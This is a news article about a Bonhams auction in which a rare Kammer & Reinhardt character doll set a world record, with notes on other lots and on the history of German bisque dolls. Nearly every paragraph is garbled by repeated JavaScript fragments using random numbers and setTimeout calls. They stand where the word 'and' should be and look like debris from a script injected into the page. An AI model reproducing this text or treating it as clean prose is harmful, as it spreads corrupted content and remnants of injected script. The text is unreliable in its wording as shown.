KNIGHTSBRIDGE, U.K. — A rare andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and unusual character doll broke the world auction record for any doll sold as it crossed the block at Bonhams’ auction September 24 for $393,886. The doll was secured by a bidder in the room who got a round of applause from fellow buyers.

The life-like little girl doll was made by German doll-manufacturer Kammer & Reinhardt. She wears a white dress with lace sleeves andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a powder blue ribbon sash that matches her finely painted blue-grey eyes. A delicate straw hat sits on top of her auburn, plaited hair. This doll has unusual pierced ears andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a more adult expression than the other dolls, capturing a striking portrait of a young lady. No other example of this doll is known so it is probable that she was an experimental mold.

Kammer & Reinhardt dolls dominated the auction. The top three lots sold for double andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and triple their estimated prices:

A bisque head doll by Kammer & Reinhardt, with a white cotton dress andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and light brown shoulder length hair, tripled its high estimate at $276,947. The artist Professor Lewin-Funcke designed dolls for Kammer & Reinhardt andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and this doll was modeled on one of Professor Lewin-Funcke’s four daughters.

A ‘Heinz’ character doll of a young boy in a blue shirt andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a brown hat, also by Kammer & Reinhardt, went for $187,284. Heinz is modeled after Professor Lewin-Funcke’s nephew Heinz Burkowitz andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is probably the most expressive in the 100 series of character dolls.

Leigh Gotch, head of the Toy Department at Bonhams, said, “The collection offered a unique array of dolls, portraying real children from the 1909–1912 period. A collection such as this has never been seen in one room before. The rarity andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and high quality artwork of these dolls is reflected in the world record breaking prices achieved at Bonhams today.”

The Thurungia region of Germany is famous for the high quality of its natural clay deposits andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was this clay that allowed the Kammer & Reinhardt company to produce delicate bisque dolls.

In the early Twentieth Century, the doll industry was awash with German mass-produced, pretty faced dolls. At this time, intellectual circles began to take an interest in child psychology andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and this had a profound effect on the design of dolls. Manufacturers decided it was time to produce andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and market dolls that had expression andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and realism, taking their inspiration from true-life models.

All prices were converted at press time from British pound to US dollars.

For more information, www.Bonhams.com or +44 20 8963 2839.